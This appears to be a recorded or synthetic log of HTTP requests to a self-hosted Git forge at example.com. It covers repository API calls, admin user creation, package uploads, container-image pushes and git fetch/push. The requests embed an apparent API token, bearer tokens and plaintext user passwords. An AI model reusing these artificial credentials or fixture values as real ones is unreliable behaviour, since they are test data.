{"method": "PATCH", "target": "/api/v1/repos/alice/tools", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 87"], "body": "{\"description\":\"Build scripts, notes and a Dockerfile\",\"website\":\"https://example.com\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/forks", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 23"], "body": "{\"organization\":\"acme\"}"}
{"method": "POST", "target": "/api/v1/admin/users", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 107"], "body": "{\"username\":\"dave\",\"email\":\"dave@example.com\",\"password\":\"Lp6-xRw4-Bq9z-Hs3d\",\"must_change_password\":false}"}
{"method": "PATCH", "target": "/api/v1/admin/users/dave", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 80"], "body": "{\"login_name\":\"dave\",\"full_name\":\"Dave Example\",\"password\":\"Yt2-cNm8-Fg5k-Wa7e\"}"}
{"method": "DELETE", "target": "/api/v1/repos/alice/tools/branches/python3-docs", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/generic/tools/1.2.0/tools-linux-amd64.tar.gz", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/packages/alice?q=tools", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/packages/alice?type=generic&q=install-script", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "PUT", "target": "/api/packages/alice/generic/tools/1.2.0/tools-linux-amd64.tar.gz", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: curl/8.17.0", "Accept: */*", "Content-Length: 41"], "body": "Steps to reproduce: run the build twice.\n"}
{"method": "PUT", "target": "/api/packages/alice/generic/install-script/1.0.0/install-script.sh", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: curl/8.17.0", "Accept: */*", "Content-Length: 41"], "body": "Steps to reproduce: run the build twice.\n"}
{"method": "GET", "target": "/v2/", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fpython3-app%3Apush%2Cpull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
{"method": "HEAD", "target": "/v2/alice/python3-app/manifests/1.0", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
{"method": "HEAD", "target": "/v2/alice/python3-app/blobs/sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
{"method": "POST", "target": "/v2/alice/python3-app/blobs/uploads/", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/json", "Accept-Encoding: gzip"], "body": ""}
{"method": "HEAD", "target": "/v2/alice/python3-app/blobs/sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
{"method": "PATCH", "target": "/v2/alice/python3-app/blobs/uploads/iljdbd0gxw2zdibpfrajzu", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 144", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": "H4sIAAAAAAAE/+zRQQoCIRTG8bfuFJ6g+Wu+8TwughYDymTQ8YOaNhK0More+y1E3ej35VonGTwASVV4TL8CiNeQFB9jQvAcohenQ1+1uZxbXp2TtZS2Hb307v5H5Vqn03FZyr5dR/0PYI6x7/25B+au/xDw4vhEpn/e/7373fiYjTHGfJfbAH2FcNwACgAA"}
{"method": "PUT", "target": "/v2/alice/python3-app/blobs/uploads/iljdbd0gxw2zdibpfrajzu?digest=sha256%3A1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": ""}
{"method": "PATCH", "target": "/v2/alice/python3-app/blobs/uploads/1eu6yk4t4l8lmbsedmyw9l", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 233", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": "{\"architecture\":\"\",\"created\":\"0001-01-01T00:00:00Z\",\"history\":[{\"created\":\"0001-01-01T00:00:00Z\"}],\"os\":\"\",\"rootfs\":{\"type\":\"layers\",\"diff_ids\":[\"sha256:19e75beae854ceb749acf78607bea3b2c0b04b74bbcc28f15e846683cf8e0b9d\"]},\"config\":{}}"}
{"method": "PUT", "target": "/v2/alice/python3-app/blobs/uploads/1eu6yk4t4l8lmbsedmyw9l?digest=sha256%3Af4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": ""}
{"method": "PUT", "target": "/v2/alice/python3-app/manifests/1.0", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 423", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/vnd.docker.distribution.manifest.v2+json", "Accept-Encoding: gzip"], "body": "{\"schemaVersion\":2,\"mediaType\":\"application/vnd.docker.distribution.manifest.v2+json\",\"config\":{\"mediaType\":\"application/vnd.docker.container.image.v1+json\",\"size\":233,\"digest\":\"sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d\"},\"layers\":[{\"mediaType\":\"application/vnd.docker.image.rootfs.diff.tar.gzip\",\"size\":144,\"digest\":\"sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068\"}]}"}
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fpython3-app%3Apull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/v2/alice/python3-app/manifests/1.0", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fdocker-build%3Apush%2Cpull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
{"method": "HEAD", "target": "/v2/alice/docker-build/manifests/latest", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
{"method": "HEAD", "target": "/v2/alice/docker-build/blobs/sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
{"method": "HEAD", "target": "/v2/alice/docker-build/blobs/sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fdocker-build%3Apush%2Cpull&scope=repository%3Aalice%2Fpython3-app%3Apull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
{"method": "POST", "target": "/v2/alice/docker-build/blobs/uploads/?from=alice%2Fpython3-app&mount=sha256%3Af4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d&origin=example.com", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/json", "Accept-Encoding: gzip"], "body": ""}
{"method": "POST", "target": "/v2/alice/docker-build/blobs/uploads/?from=alice%2Fpython3-app&mount=sha256%3A1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068&origin=example.com", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/json", "Accept-Encoding: gzip"], "body": ""}
{"method": "PUT", "target": "/v2/alice/docker-build/manifests/latest", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 423", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/vnd.docker.distribution.manifest.v2+json", "Accept-Encoding: gzip"], "body": "{\"schemaVersion\":2,\"mediaType\":\"application/vnd.docker.distribution.manifest.v2+json\",\"config\":{\"mediaType\":\"application/vnd.docker.container.image.v1+json\",\"size\":233,\"digest\":\"sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d\"},\"layers\":[{\"mediaType\":\"application/vnd.docker.image.rootfs.diff.tar.gzip\",\"size\":144,\"digest\":\"sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068\"}]}"}
{"method": "GET", "target": "/v2/alice/python3-app/tags/list?n=1000", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/v2/alice/python3-app/tags/list?last=1.0&n=1000", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fdocker-build%3Apull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/v2/alice/docker-build/manifests/latest", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/v2/alice/docker-build/blobs/sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/v2/alice/docker-build/blobs/sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 473"], "body": "0011command=fetch001aagent=git/2.49.1-Linux0016object-format=sha10001000dthin-pack000fno-progress000dofs-delta0032want 0992a6293c77c3ef1f9a8d37b774deddcbef2e23\n0032want 4b5ec1aab65272b63b5b1f39bfc2c14684c063a0\n0032want 0992a6293c77c3ef1f9a8d37b774deddcbef2e23\n0032want f7ffa60396d99f61315a5a9a225fc32eb6228fdb\n0032want bbe5223a9a4f84e7c3d7206f4bdd062239e8309b\n0032want 15e1fb0f45ffdb9d4d07ccf23b8971fca09ab2ca\n0032want 15e1fb0f45ffdb9d4d07ccf23b8971fca09ab2ca\n0009done\n0000"}
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 519"], "body": "MDBiZDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgY2M0ZDVlMDVlMWIzMTg0ZjQ3MTZlZDE1OGQyNWI4Y2ZhZTM4NzU0MyByZWZzL2hlYWRzL2RvY2tlci1idWlsZAAgcmVwb3J0LXN0YXR1cy12MiBzaWRlLWJhbmQtNjRrIHF1aWV0IG9iamVjdC1mb3JtYXQ9c2hhMSBhZ2VudD1naXQvMi40OS4xLUxpbnV4MDAwMFBBQ0sAAAACAAAABJENeJyVi10KwjAQBt9zirwLkp+2mwURffcSm80XLLS2tBE8vvUIzsvAwLQNsIQsA+D7mAjJkfOSMVTppEKZNUCVAwezyoZXs445yBA4KpFGVF9ZUomUibqCUjSjBoRo5N2ey2bv06iwF/npho/M64SzLvPVeuIupuD73p7cgTnqPLaGvybzGPdm6zhhN18fLT8K8AKeTXt+RMTzqiOmBNVYae5fWGAYnHice8b0jGmDCaOIb2jBcr50ZZ79x/sfSmXMOBZVkFs42YNRDgDQmAyf9gKBbcdPQPqMH4Wr8ShABeE9G0Q2EXic62RcwzjBRCYns7hErziDQav39///EVurZi0SCOP5u3X/31Yu/om6MQA3nhDoN3icyylW0M1J5AIACRECBP3ERXDJ4M4Guqo/ktYk+wdQ6W4g"}
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 193"], "body": "00bdcc4d5e05e1b3184f4716ed158d25b8cfae387543 0000000000000000000000000000000000000000 refs/heads/docker-build\u0000 report-status-v2 side-band-64k quiet object-format=sha1 agent=git/2.49.1-Linux0000"}
{"method": "GET", "target": "/alice/powershell-scripts.git/info/refs?service=git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache", "Git-Protocol: version=2"], "body": ""}
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/explore/repos", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/explore/users?q=alice", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/explore/users?q=alice", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/alice/tools/raw/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases/tag/v1.1.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
